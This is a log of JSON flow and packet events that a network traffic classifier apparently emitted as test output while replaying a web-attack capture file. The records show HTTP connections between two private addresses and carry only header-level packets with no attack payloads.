+00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6714,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":432,"flow_packet_id":6,"flow_first_seen":1499347698449,"flow_last_seen":1499347703808,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59974,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6714,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":432,"flow_packet_id":6,"flow_first_seen":1499347698449,"flow_last_seen":1499347703808,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59974,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6714,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":433,"flow_packet_id":6,"flow_first_seen":1499347699724,"flow_last_seen":1499347704808,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59988,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6714,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":433,"flow_packet_id":6,"flow_first_seen":1499347699724,"flow_last_seen":1499347704808,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59988,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6714,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":434,"flow_packet_id":6,"flow_first_seen":1499347702287,"flow_last_seen":1499347707810,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60014,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6714,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":434,"flow_packet_id":6,"flow_first_seen":1499347702287,"flow_last_seen":1499347707810,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60014,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6714,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":435,"flow_packet_id":6,"flow_first_seen":1499347703726,"flow_last_seen":1499347708810,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60028,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6714,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":435,"flow_packet_id":6,"flow_first_seen":1499347703726,"flow_last_seen":1499347708810,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60028,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6714,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":436,"flow_packet_id":6,"flow_first_seen":1499347705116,"flow_last_seen":1499347710811,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60042,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6714,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":436,"flow_packet_id":6,"flow_first_seen":1499347705116,"flow_last_seen":1499347710811,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60042,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6714,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":437,"flow_packet_id":6,"flow_first_seen":1499347706399,"flow_last_seen":1499347711812,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60056,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6714,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":437,"flow_packet_id":6,"flow_first_seen":1499347706399,"flow_last_seen":1499347711812,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60056,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":472,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6717,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347772,"pkt_ts_usec":832276,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0sENAAD4GFZWsEAABwKgKMu0wAFC7\/0UJglOpNIARAOUexwAAAQEICgE7+jQD5ca9"} +00434{"flow_id":472,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6718,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347772,"pkt_ts_usec":832451,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Yp1AAEAGYTvAqAoyrBAAAQBQ7TCCU6k0u\/9FCoARAOMZ3AAAAQEICgPly6kBO\/o0"} +00433{"flow_id":472,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6719,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347772,"pkt_ts_usec":833029,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0sERAAD4GFZSsEAABwKgKMu0wAFC7\/0UKglOpNYAQAOUZ2QAAAQEICgE7+jUD5cup"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6726,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":476,"flow_packet_id":1,"flow_first_seen":1499347774205,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60788,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":476,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6726,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347774,"pkt_ts_usec":205265,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8pr5AAD4GHxKsEAABwKgKMu10AFBYS10yAAAAAKACchC++QAAAgQFtAQCCAoBO\/uMAAAAAAEDAwc="} +00444{"flow_id":476,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6727,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347774,"pkt_ts_usec":205412,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7XSGo4hpWEtdM6AScSDf5QAAAgQFtAQCCAoD5c0AATv7jAEDAwc="} +00432{"flow_id":476,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6728,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347774,"pkt_ts_usec":205988,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0pr9AAD4GHxmsEAABwKgKMu10AFBYS10zhqOIaoAQAOV+7QAAAQEICgE7+4wD5c0A"} +00433{"flow_id":473,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6732,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347774,"pkt_ts_usec":832507,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0n3dAAD4GJmGsEAABwKgKMu0+AFAozWoAfRuBZYARAOW2xgAAAQEICgE7\/CgD5cf+"} +00433{"flow_id":473,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6733,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347774,"pkt_ts_usec":832727,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0TPhAAEAGduDAqAoyrBAAAQBQ7T59G4FlKM1qAYARAOOxKAAAAQEICgPlzZ0BO\/wo"} +00433{"flow_id":473,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6734,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347774,"pkt_ts_usec":833278,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0n3hAAD4GJmCsEAABwKgKMu0+AFAozWoBfRuBZoAQAOWxJQAAAQEICgE7\/CkD5c2d"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6738,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":477,"flow_packet_id":1,"flow_first_seen":1499347775487,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60802,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":477,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6738,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347775,"pkt_ts_usec":487117,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8kr1AAD4GMxOsEAABwKgKMu2CAFDDYm5xAAAAAKACchBBVQAAAgQFtAQCCAoBO\/zMAAAAAAEDAwc="} +00445{"flow_id":477,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6739,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347775,"pkt_ts_usec":487244,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7YJb\/j+gw2JucqAScSDUbgAAAgQFtAQCCAoD5c5BATv8zAEDAwc="} +00435{"flow_id":477,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6740,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347775,"pkt_ts_usec":487996,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0kr5AAD4GMxqsEAABwKgKMu2CAFDDYm5yW\/4\/oYAQAOVzdgAAAQEICgE7\/MwD5c5B"} +00433{"flow_id":474,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6744,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347775,"pkt_ts_usec":833065,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0anhAAD4GW2CsEAABwKgKMu1MAFBCsJ2yo6xMKIARAOV1lwAAAQEICgE7\/SMD5ck7"} +00433{"flow_id":474,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6745,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347775,"pkt_ts_usec":833251,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0gr9AAEAGQRnAqAoyrBAAAQBQ7UyjrEwoQrCds4ARAONwPAAAAQEICgPlzpcBO\/0j"} +00433{"flow_id":474,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6746,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347775,"pkt_ts_usec":834049,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0anlAAD4GW1+sEAABwKgKMu1MAFBCsJ2zo6xMKYAQAOVwOgAAAQEICgE7\/SMD5c6X"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6750,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":478,"flow_packet_id":1,"flow_first_seen":1499347776753,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60816,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":478,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6750,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347776,"pkt_ts_usec":753871,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8KqpAAD4GmyasEAABwKgKMu2QAFCtQdSjAAAAAKACchDv+AAAAgQFtAQCCAoBO\/4JAAAAAAEDAwc="} +00444{"flow_id":478,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6751,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347776,"pkt_ts_usec":754029,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7ZCBpSP4rUHUpKAScSB31wAAAgQFtAQCCAoD5c99ATv+CQEDAwc="} +00433{"flow_id":478,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6752,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347776,"pkt_ts_usec":754557,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KqtAAD4Gmy2sEAABwKgKMu2QAFCtQdSkgaUj+YAQAOUW3wAAAQEICgE7\/gkD5c99"} +00433{"flow_id":475,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6756,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347776,"pkt_ts_usec":833358,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jzVAAD4GNqOsEAABwKgKMu1aAFBxsHY7Cd4v54ARAOUh0wAAAQEICgE7\/h0D5cp+"} +00434{"flow_id":475,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6757,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347776,"pkt_ts_usec":833541,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA04HZAAEAG42HAqAoyrBAAAQBQ7VoJ3i\/ncbB2PIARAOMcwQAAAQEICgPlz5EBO\/4d"} +00433{"flow_id":475,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6758,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347776,"pkt_ts_usec":834141,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jzZAAD4GNqKsEAABwKgKMu1aAFBxsHY8Cd4v6IAQAOUcvwAAAQEICgE7\/h0D5c+R"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6768,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":479,"flow_packet_id":1,"flow_first_seen":1499347779333,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60842,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":479,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6768,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347779,"pkt_ts_usec":333285,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8eChAAD4GTaisEAABwKgKMu2qAFDZQnimAAAAAKACchAdVgAAAgQFtAQCCAoBPACOAAAAAAEDAwc="} +00444{"flow_id":479,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6769,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347779,"pkt_ts_usec":333428,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7aoAKzpS2UJ4p6AScSAN0AAAAgQFtAQCCAoD5dICATwAjgEDAwc="} +00432{"flow_id":479,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6770,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347779,"pkt_ts_usec":333991,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eClAAD4GTa+sEAABwKgKMu2qAFDZQninACs6U4AQAOWs1wAAAQEICgE8AI4D5dIC"} +00432{"flow_id":476,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6774,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347779,"pkt_ts_usec":834272,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0psBAAD4GHxisEAABwKgKMu10AFBYS10zhqOIaoARAOV5bQAAAQEICgE8AQsD5c0A"} +00432{"flow_id":476,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6775,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347779,"pkt_ts_usec":834463,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0WupAAEAGaO7AqAoyrBAAAQBQ7XSGo4hqWEtdNIARAONz7gAAAQEICgPl0oABPAEL"} +00432{"flow_id":476,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6776,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347779,"pkt_ts_usec":835056,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0psFAAD4GHxesEAABwKgKMu10AFBYS100hqOIa4AQAOVz7AAAAQEICgE8AQsD5dKA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6780,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":480,"flow_packet_id":1,"flow_first_seen":1499347780605,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60856,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":480,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6780,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347780,"pkt_ts_usec":605080,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Kg9AAD4Gm8GsEAABwKgKMu24AFBtBSvDAAAAAKACchDVKgAAAgQFtAQCCAoBPAHMAAAAAAEDAwc="} +00444{"flow_id":480,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6781,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347780,"pkt_ts_usec":605181,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ7bgVufFFbQUrxKAScSD35AAAAgQFtAQCCAoD5dNAATwBzAEDAwc="} +00432{"flow_id":480,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6782,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347780,"pkt_ts_usec":605963,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KhBAAD4Gm8isEAABwKgKMu24AFBtBSvEFbnxRoAQAOWW7AAAAQEICgE8AcwD5dNA"} +00434{"flow_id":477,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6786,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347780,"pkt_ts_usec":835284,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0kr9AAD4GMxmsEAABwKgKMu2CAFDDYm5yW\/4\/oYARAOVuPAAAAQEICgE8AgUD5c5B"} +00433{"flow_id":477,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6787,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347780,"pkt_ts_usec":835556,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07NtAAEAG1vzAqAoyrBAAAQBQ7YJb\/j+hw2Juc4ARAONpBAAAAQEICgPl03oBPAIF"} +00434{"flow_id":477,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6788,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347780,"pkt_ts_usec":836165,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ksBAAD4GMxisEAABwKgKMu2CAFDDYm5zW\/4\/ooAQAOVpAgAAAQEICgE8AgUD5dN6"} +00432{"flow_id":478,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6792,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347781,"pkt_ts_usec":835042,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KqxAAD4GmyysEAABwKgKMu2QAFCtQdSkgaUj+YARAOUR6AAAAQEICgE8Av8D5c99"} 